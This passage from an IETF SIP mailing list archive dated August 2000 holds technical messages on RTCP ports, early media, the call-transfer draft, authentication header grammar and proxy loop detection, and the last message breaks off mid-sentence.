21 16:25:56 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08556 for ; Mon, 21 Aug 2000 16:25:56 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BFD6E443D8; Mon, 21 Aug 2000 16:25:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15]) by lists.bell-labs.com (Postfix) with ESMTP id BCFEB443D4 for ; Mon, 21 Aug 2000 16:25:47 -0400 (EDT) Received: from zrchb213.us.nortel.com (actually zrchb213) by smtprch2.nortel.com; Mon, 21 Aug 2000 14:08:10 -0500 Received: from zrtpd00x.us.nortel.com ([47.140.224.108]) by zrchb213.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id QYZF8GK4; Mon, 21 Aug 2000 14:11:43 -0500 Received: from americasm01.nt.com (prtpd1gd.us.nortel.com [47.202.36.60]) by zrtpd00x.us.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id RJ6RWGBP; Mon, 21 Aug 2000 15:11:42 -0400 Message-ID: <39A17EF1.60BE44CB@americasm01.nt.com> Date: Mon, 21 Aug 2000 15:11:45 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: "Chris Fulmer" Organization: Nortel Networks X-Mailer: Mozilla 4.61 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: bidulock@dallas.net Cc: Meir Fuchs , sip Subject: Re: [SIP] send only media streams References: <20000821102656.D3970@dallas.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I think that's the point -- if you're sending '0' as your port number, does that mean that your RTCP port is port 1 ?? I suppose you could do that once, but man is that going to screw around with RFC 1078. In send-only mode, you still expect RTCP Receiver-Reports from the receiver, and in receive-only mode, you still send them back. -- C "Brian F. G. Bidulock" wrote: > Meir, > > Last I checked the RTCP had to be one greater than the RTP port to which it > corresponded. > > --Brian > > Meir Fuchs wrote: (Mon, 21 Aug 2000 18:17:11) > > Hi, > > > > What about a RTCP ? Shouldn't the terminals sending the media on > > send-only/recv-only streams pass a non-zero port on which they can receive > > RTCP traffic ? > > > > Meir. > > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 18:39:05 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA10460 for ; Mon, 21 Aug 2000 18:39:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 30A8144370; Mon, 21 Aug 2000 18:38:51 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id 223FE44357 for ; Mon, 21 Aug 2000 18:38:48 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id SAA77676; Mon, 21 Aug 2000 18:38:24 -0400 (EDT) Message-ID: <04f201c00bc1$1c91e150$3202a8c0@broadsoft.com> From: "Brett Tate" To: "Henning Schulzrinne" , "Jonathan Rosenberg" , References: <0c7201c0086f$4cf99130$3202a8c0@broadsoft.com> <39A18EE9.84B4249D@cs.columbia.edu> Subject: Re: [SIP] Remote ringback. Date: Mon, 21 Aug 2000 18:42:39 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit ----- Original Message ----- From: Henning Schulzrinne To: Brett Tate ; Jonathan Rosenberg ; Sent: Monday, August 21, 2000 4:19 PM Subject: Re: [SIP] Remote ringback. > Since I'm just coming back to a week's worth of SIP discussion, can > somebody summarize this discussion or its result, as I've lost track > what, if any changes/clarifications, should be made to The Spec? > > My rough understanding is: > > - SDP in 1xx means take media from there, don't generate local ring > tone. (I think there was an earlier discussion that "early media" should > not be restricted to 180 or 183.) When the 183 draft was folded into the rfc2543, I thought that the SDP's presence in 181, 182 was to roughly mean the same thing as an SDP in 180 or 183. I am hoping to get rfc2543 to clearly state what receiving a 18x with an SDP specifically means. In addition, does a connection address of not being 0.0.0.0 in a 183 SDP mean that the SDP sender is currently listening for any dtmf, voice, etc? Previous emails in this thread mention possible uses. > > - Later 1xx's update SDP as usual. (This primarily affects where RTCP is > to be sent.) I agree, and I am hoping to get this explicitly stated in rfc2543. > > - Removing SDP switches back to local ring-back. I agree, and I am hoping to get this explicitly stated in rfc2543. > > - It's up to the UA whether it wants to mix audio/video during call > setup if it gets multiple 1xx due to forking. (If "early media" is an > announcement like "the number you have dialed has been changed. The new > number is ...", mixing with ring tone from another destination would be > very confusing. Not sure what to do about this.) I am just hoping for a suggested policy from a called/calling party perspective. If A does not intend to actually listen as a result of the 18x, should something indicate this as a result of guaranteed provisional delivery. ( I guess that some of this belongs in the guaranteed provisional delivery draft. ) > > This goes back to an earlier, long-ago discussion whether it's better to > use 4xx/5xx for announcements, but if I remember right, the conclusion > was that this wasn't always feasible since gateways wouldn't be able to > distinguish failure announcements from ring tone. (I thought the > announcement tri-tone was for stuff like that...) > > - If the caller wants to change its IP address during the call setup, it > needs to CANCEL/BYE the call and try again. This may occur during really > long call setups, e.g., if somebody called me last week and wanted to > catch me as soon as I walked into the office this morning, so this is > not completely hypothetical. For basic SIP, I completely agree for simplicity reasons. However an extension could be possible to address this situation. If the REFER method can't be used, I assume someone might propose a another extension. > > Thanks. > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 20:50:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11598 for ; Mon, 21 Aug 2000 20:50:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7389544383; Mon, 21 Aug 2000 20:50:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156]) by lists.bell-labs.com (Postfix) with ESMTP id 567A544353 for ; Mon, 21 Aug 2000 20:50:19 -0400 (EDT) Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48]) by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id UAA06085; Mon, 21 Aug 2000 20:50:00 -0400 (EDT) Message-ID: <39A1CE2D.5EF02738@cs.columbia.edu> Date: Mon, 21 Aug 2000 20:49:49 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.7 [en]C-CCK-MCD BA45DSL (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Brett Tate Cc: Jonathan Rosenberg , sip@lists.bell-labs.com Subject: Re: [SIP] Remote ringback. References: <0c7201c0086f$4cf99130$3202a8c0@broadsoft.com> <39A18EE9.84B4249D@cs.columbia.edu> <04f201c00bc1$1c91e150$3202a8c0@broadsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Brett Tate wrote: > > ----- Original Message ----- > From: Henning Schulzrinne > To: Brett Tate ; Jonathan Rosenberg > ; > Sent: Monday, August 21, 2000 4:19 PM > Subject: Re: [SIP] Remote ringback. > > - SDP in 1xx means take media from there, don't generate local ring > > tone. (I think there was an earlier discussion that "early media" should > > not be restricted to 180 or 183.) > > When the 183 draft was folded into the rfc2543, I thought that > the SDP's presence in 181, 182 was to roughly mean > the same thing as an SDP in 180 or 183. I am hoping to get > rfc2543 to clearly state what receiving a 18x with an SDP > specifically means. > > In addition, does a connection address of not being 0.0.0.0 > in a 183 SDP mean that the SDP sender is currently listening > for any dtmf, voice, etc? Previous emails in this thread mention > possible uses. Can you summarize for my benefit? I'm worried about anything that *relies* on such a feature, as it is not likely to be interoperable and has potential security implications. (I wouldn't want my microphone to be active before the call is connected...) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 21:38:07 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12982 for ; Mon, 21 Aug 2000 21:38:06 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D11AD44383; Mon, 21 Aug 2000 21:37:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id DC9284433D for ; Mon, 21 Aug 2000 21:37:29 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id VAA90704; Mon, 21 Aug 2000 21:37:24 -0400 (EDT) Message-ID: <051901c00bda$1e1f55c0$3202a8c0@broadsoft.com> From: "Brett Tate" To: "Henning Schulzrinne" Cc: "Jonathan Rosenberg" , References: <0c7201c0086f$4cf99130$3202a8c0@broadsoft.com> <39A18EE9.84B4249D@cs.columbia.edu> <04f201c00bc1$1c91e150$3202a8c0@broadsoft.com> <39A1CE2D.5EF02738@cs.columbia.edu> Subject: Re: [SIP] Remote ringback. Date: Mon, 21 Aug 2000 21:41:39 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > > In addition, does a connection address of not being 0.0.0.0 > > in a 183 SDP mean that the SDP sender is currently listening > > for any dtmf, voice, etc? Previous emails in this thread mention > > possible uses. > > Can you summarize for my benefit? I'm worried about anything that > *relies* on such a feature, as it is not likely to be interoperable and > has potential security implications. (I wouldn't want my microphone to > be active before the call is connected...) > I completely agree with your concerns about voice being passed from calling party prior to 200/ACK; this is especially true for a 180. However I think that inband DTMF should be possible when a 18x has been passed containing a complete SDP with connection address not being 0.0.0.0. I think that there is a potential concerning a 182 for A to pass inband DTMF to move up in the queue. I also foresee the same sort of DTMF possibility concerning a 181. It could be used concerning calling-verses-forwarding billing acceptance, to pick a forwarding location, or to allow an attempt to bypass the forwarding. I also foresee using the same sort of DTMF possibilities with a 183. The user could select various options relating to the "special announcement". The user could respond to a request to press "1", as a means to inform the called that the caller wants setup to continue to be tried. The user could be requested to enter a location for a call-back when the called party actually answers. I agree that the thought of two way media being established before 200/ACK seems strange. But I think that one way media is just as strange though useful from a PSTN perspective. I don't think that there will be any backwards compatibility problems since any services attempting such a thing would have to be structured to know that PSTN or other protocol limitations might restrict passing DTMF from occurring. Also, many gateways and networks will limit the length time in non-billable call setup. Also, the delivery of 18x might not always be guaranteed or played for caller. As always, just looking for clarity, simplicity, and cool new features. Brett Tate BroadSoft _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Mon Aug 21 23:38:14 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA15176 for ; Mon, 21 Aug 2000 23:38:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D3F224433D; Mon, 21 Aug 2000 23:38:08 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from hotmail.com (f212.law7.hotmail.com [216.33.237.212]) by lists.bell-labs.com (Postfix) with ESMTP id B43124433A for ; Mon, 21 Aug 2000 23:38:05 -0400 (EDT) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 21 Aug 2000 20:38:04 -0700 Received: from 164.164.6.34 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 22 Aug 2000 GMT X-Originating-IP: [164.164.6.34] From: "rahul pande" To: sip@lists.bell-labs.com Date: Tue, 22 Aug 2000 03:38:04 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Aug 2000 03:38:04.0962 (UTC) FILETIME=[61558020:01C00BEA] Subject: [SIP] a simple query but important.... Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com hello all, just a general query that has come up. I have got to know that many organizations who have a big LAN(i.e. consisting of various subnets attached with routers), allow only unicast enabled routers to exist in their LAN, because of the premonition of excess network traffic etc... In this scenario how can i do conferencing (using multicasting and not MCU).Can i do something at the SIP stack level(i.e. software level) or i need to ask the network adm. to enable multicast packets also to pass through routers. Would something like Mbone work inside the LAN(i'm not sure!!!). Please give some insight into the above situation. Thanking you all, rahul. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 01:26:42 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA18124 for ; Tue, 22 Aug 2000 01:26:42 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 329884433A; Tue, 22 Aug 2000 01:25:55 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 4AD5B44336 for ; Tue, 22 Aug 2000 01:25:49 -0400 (EDT) Received: from dynamicsoft.com (1Cust176.tnt1.freehold.nj.da.uu.net [63.17.113.176]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id BAA11129; Tue, 22 Aug 2000 01:27:25 -0400 (EDT) Message-ID: <39A2104D.CA8AB6D5@dynamicsoft.com> Date: Tue, 22 Aug 2000 01:31:57 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: rahul pande Cc: sip@lists.bell-labs.com Subject: Re: [SIP] a simple query but important.... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit rahul pande wrote: > > hello all, > just a general query that has come up. I have got to know that many > organizations who have a big LAN(i.e. consisting of various subnets attached > with routers), allow only unicast enabled routers to exist in their LAN, > because of the premonition of excess network traffic etc... In this scenario > how can i do conferencing (using multicasting and not MCU). You can run tunnels. Can i do > something at the SIP stack level(i.e. software level) or i need to ask the > network adm. to enable multicast packets also to pass through routers. Neither. SIP has nothing whatsoever to do with this. Running tunnels to an mbone router requires only that your admin pass IP in IP, which I would guess will work fine. > Would > something like Mbone work inside the LAN(i'm not sure!!!). If it runs IP, it can be carrier pidgeon (http://www.normos.org/ietf/rfc/rfc1149.txt), LAN, whatever. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 01:47:26 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20590 for ; Tue, 22 Aug 2000 01:47:25 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BC03744340; Tue, 22 Aug 2000 01:47:19 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id AC8D544336 for ; Tue, 22 Aug 2000 01:47:16 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id BAA06312; Tue, 22 Aug 2000 01:47:16 -0400 (EDT) Message-ID: <053b01c00bfd$062fc800$3202a8c0@broadsoft.com> From: "Brett Tate" To: "SIPbell-labs" , Date: Tue, 22 Aug 2000 01:51:32 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0538_01C00BDB.7EFB0FA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [SIP] draft-ietf-sip-cc-transfer-00 comments and questions Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_0538_01C00BDB.7EFB0FA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Robert, Thank you for developing draft-ietf-sip-cc-transfer-00. Here are some comments/questions. Brett Tate BroadSoft --------------------------- General comments: 1- please specify how receiving BYE effects an=20 outstanding REFER. I assume that it doesn't cancel the REFER. Should a REFER final response of 200 be sent to immediately close the=20 transaction? Should a new final response be defined to indicate the transaction is still being processed, but I will be unable to provide an accurate response since the call-leg is disappearing. 2- please specify if two REFERs can be outstanding on a call-leg at the same time. 3- please specify if the call state has to reach a specific state before the REFER can be triggered. I was glad to hear that REFER may not have to be part of an existing session, but can it also be=20 valid during call-setup to hopefully address=20 location, SDP changes, or transfer during ringing? 4- please address any media mixing/switching=20 requirements as a result of the transferor=20 session still being present. Can a header=20 or parameter be used to better clarify the=20 REFER request from the transferor point of view? 5- please address how a RE-INVITE from the transferor effects a successful REFER transaction. 6- please specify that a CANCEL of REFER should=20 trigger a 487 for the REFER. 7- please address how a second REFER from transferor effects a successful first REFER from transferor. 8- What provisional response should be sent by the transferee to indicate the REFER was received and is being processed? The 100 cannot be used since proxies can also send it. =20 Section 5.3: The Content-Length header statement about being present with value of 0 conflicts with section 5.4 concerning a body being present. Removing the "and have a value of zero" should fix the conflict. Section 6.2.1 flow: Can a new method/header/parameter be defined to indicate to the Transfer target that an INVITE=20 from new call-leg is about to occur which will=20 contain a particular Referred-By. And when=20 received, please handle it based upon the=20 Request-Disposition. This would be useful so the transferor can switch out of a call without the transfer target having to hang up the phone or have call waiting. This comment is also useful for 6.2.2, 6.3, and 6.4. New method: PENDING-INVITE New header: Request-Disposition =3D=20 "Request-Disposition" ":" "=3D"=20 "switch-bye" | "mix" | "reject" | "hold-me" | token "switch-bye" means quit listening to me and send a BYE for our session upon receiving the INVITE. "mix" means to please mix the media. "reject" means the REFER was cancelled, and thus the INVITE should be rejected. "hold-me" means quit streaming to me until I send a RE-INVITE. The PENDING-INVITE would contain the usual=20 headers plus Request-Disposition, Referred-By, Expires, and Date. The transfer target would compare the Referred-By's received in the INVITE and PENDING-INVITE. If equal, the Request-Disposition is honored. Otherwise, the INVITE is received and process as if the=20 PENDING-INVITE was not received. =20 The Request-Disposition header could also be used in a REFER to indicate how the sending wishes the receiving to handle the REFER concerning the session and media. Of course the "reject" does not make sense in a REFER. The Request-Disposition=20 would addresses general comment number 4. [The above is just an idea to see if something like this is needed or even belongs in the transfer draft.] Section 5.2.2 Variation 2...:=20 Should be labeled "6.2.2". The actors of Transferee and Transfer Target seem reversed. Please see comments on 6.2.1 as a means to avoid the=20 transferee from needing call waiting or a second line=20 for the switch to occur. [ I assume that call-ID would not be trusted for a quick switch or mix mechanism since=20 it does not get encrypted. ] ------=_NextPart_000_0538_01C00BDB.7EFB0FA0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Robert,
 
Thank you for developing
draft-ietf-sip-cc-transfer-00.
 
Here are some comments/questions.
 
Brett Tate
BroadSoft
 
---------------------------
 
General comments:
 
1- please specify how receiving BYE effects an=20
 outstanding REFER.  I assume that it = doesn't
 cancel the=20 REFER.  Should a REFER final
 response of 200 be sent to=20 immediately close the
 transaction?  Should a new final=20 response
 be defined to indicate the transaction is = still
 being=20 processed, but I will be unable to provide
 an accurate response = since=20 the call-leg is
 disappearing.
 
2- please specify if two REFERs can be = outstanding
 on=20 a call-leg at the same time.
 
3- please specify if the call state has to = reach
 a=20 specific state before the REFER can be triggered.
 I was glad to = hear=20 that REFER may not have to be
 part of an existing session, but = can it=20 also be
 valid during call-setup to hopefully address=20
 location, SDP changes, or transfer during = ringing?
 
4- please address any media mixing/switching=20
 requirements as a result of the transferor
 session = still=20 being present.  Can a header
 or parameter be used to = better=20 clarify the
 REFER request from the transferor point of=20 view?
 
5- please address how a RE-INVITE from the=20 transferor
 effects a successful REFER transaction.
 
6- please specify that a CANCEL of REFER should=20
 trigger a 487 for the REFER.
 
7- please address how a second REFER from=20 transferor
 effects a successful first REFER from=20 transferor.
 
8- What provisional response should be sent by=20 the
 transferee to indicate the REFER was received
 and = is being=20 processed?  The 100 cannot be used
 since proxies can also = send=20 it.  

 

Section 5.3:
 
The Content-Length header statement about = being
present=20 with value of 0 conflicts with section
5.4 concerning a = body being=20 present.  Removing the
"and have a value of zero" should fix the = conflict.
 

Section 6.2.1 flow:
 
Can a new method/header/parameter be = defined
to indicate to the Transfer target that an INVITE=20
from new call-leg is about to occur which will =
contain a particular Referred-By.  And when =
received, please handle it based upon the =
Request-Disposition.  This would
be useful = so the=20 transferor can switch out of a
call without the transfer target = having to=20 hang up
the phone or have call waiting.  This comment is
also = useful=20 for 6.2.2, 6.3, and 6.4.
 
New method: PENDING-INVITE
New header: Request-Disposition =3D=20
  "Request-Disposition" ":" "=3D"
 "switch-bye" | "mix" | "reject" | "hold-me" |=20 token
 
"switch-bye" means quit listening to me = and
send a BYE for our session upon receiving = the
INVITE.
 
"mix" means to please mix the media.
 
"reject" means the REFER was cancelled, = and
thus the INVITE should be rejected.
 
"hold-me" means quit streaming to me = until
I send a RE-INVITE.
 
The PENDING-INVITE would contain the usual =
headers plus Request-Disposition,=20 Referred-By,
Expires, and Date.
 
The transfer target would compare=20 the Referred-By's
received in the INVITE = and PENDING-INVITE.  If=20 equal,
the Request-Disposition is honored. =20 Otherwise,
the INVITE is received and process as if the =
PENDING-INVITE was not received.
 
The Request-Disposition header could also be = used
in a REFER to indicate how the sending wishes=20 the
receiving to handle the REFER concerning the=20 session
and media.  Of course the "reject" does = not
make sense in a REFER.  The Request-Disposition =
would addresses general = comment number=20 4.
 
[The above is just an idea to see if something=20 like
this is needed or even belongs in the transfer=20 draft.]
 

Section 5.2.2 Variation 2...:
 
Should be labeled "6.2.2".
 
The actors of Transferee and Transfer Target seem=20 reversed.
 
Please see comments on 6.2.1 as a means to avoid the =
transferee from needing call waiting or a second line
for the = switch to=20 occur.  [ I assume that call-ID would not
be trusted for a quick switch or mix mechanism since =
it does not get encrypted.=20 ]
------=_NextPart_000_0538_01C00BDB.7EFB0FA0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 03:37:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA28929 for ; Tue, 22 Aug 2000 03:37:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D5AF84433F; Tue, 22 Aug 2000 03:37:18 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2]) by lists.bell-labs.com (Postfix) with ESMTP id D872B44336 for ; Tue, 22 Aug 2000 03:37:12 -0400 (EDT) Received: from samar (sasi.com [164.164.56.2]) by sasi.com (8.9.3/8.9.3) with SMTP id NAA27246 for ; Tue, 22 Aug 2000 13:08:50 +0530 (IST) From: manu@sasi.com Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Tue, 22 Aug 2000 13:08:49 +0000 (IST) Received: from localhost (manu@localhost) by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id NAA00928 for ; Tue, 22 Aug 2000 13:08:47 +0530 Date: Tue, 22 Aug 2000 13:08:47 +0530 (IST) To: sip@lists.bell-labs.com Subject: [SIP] WWW-Authenticate grammar Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com I have a query about the grammar for WWW-Authenticate header. The grammar for WWW-Authenticate header in rfc 2543 (sec 6.42) references rfc 2068 (sec 14.46) for the syntax. According to rfc 2068, the grammar is WWW-Authenticate = "WWW-Authenticate" ":" 1#challenge challenge = auth-scheme 1*SP realm *( "," auth-param ) ^---- COMMA USED TO MARK PARAMS But, rfc 2543 gives an example of WWW-Authenticate header grammar when PGP is used (sec 15.1.1) WWW-Authenticate = "WWW-Authenticate" ":" "pgp" pgp-challenge pgp-challenge = * (";" pgp-params ) ^---- SEMICOLON USED TO MARK PARAMS pgp-params = realm | pgp-version | pgp-algorithm | nonce The grammars appear slightly different (notably, the use of the semi-colon to begin the parameters). My doubt is: shouldn't the grammar for WWW-Authenticate-with-PGP be derived from 2068's generic grammar. If so, how does one explain the semi-colon? I'm probably reading too much into this, but I would like to hear any comments about it all the same. Thanks. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Tue Aug 22 10:02:37 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA06452 for ; Tue, 22 Aug 2000 10:02:37 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3C58844340; Tue, 22 Aug 2000 10:02:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ubiquity.net (mail.ubiquity.net [194.128.96.72]) by lists.bell-labs.com (Postfix) with ESMTP id CC07444336 for ; Tue, 22 Aug 2000 10:01:58 -0400 (EDT) Received: from jhornsby by ubiquity.net with SMTP (8.8.8+Sun/25-eef) id OAA19564; Tue, 22 Aug 2000 14:58:17 +0100 (BST) From: "Jo Hornsby" To: Date: Tue, 22 Aug 2000 14:58:17 +0100 Message-ID: <003801c00c41$05cd1db0$4e34c3c1@ubiquity.co.uk> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Subject: [SIP] Loop Detection Again Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi, I'd like to revisit the thorny issue of Loop Detection and Via-Hiding, if I may. Imagine an INVITE issued by a User Agent, UA X, which is routed through Proxy A to Proxy B, whereby Proxy B decides to send it on to Proxy A. At this point the INVITE has looped. However, Proxy A requested Via hiding, so does not detect the loop, and forwards the request to Proxy B again. +------+ +---------+ 1st +---------+ | | | | ------> | | | UA X | ------> | Proxy A | | Proxy B | | | | | ------> | | +------+ +---------+ 2nd +---------+ ^ | | | | | +-------------------+ I will call the request from UA X to Proxy A, X-A; the "first" request from Proxy A to Proxy B, A-B; the request from Proxy B to Proxy 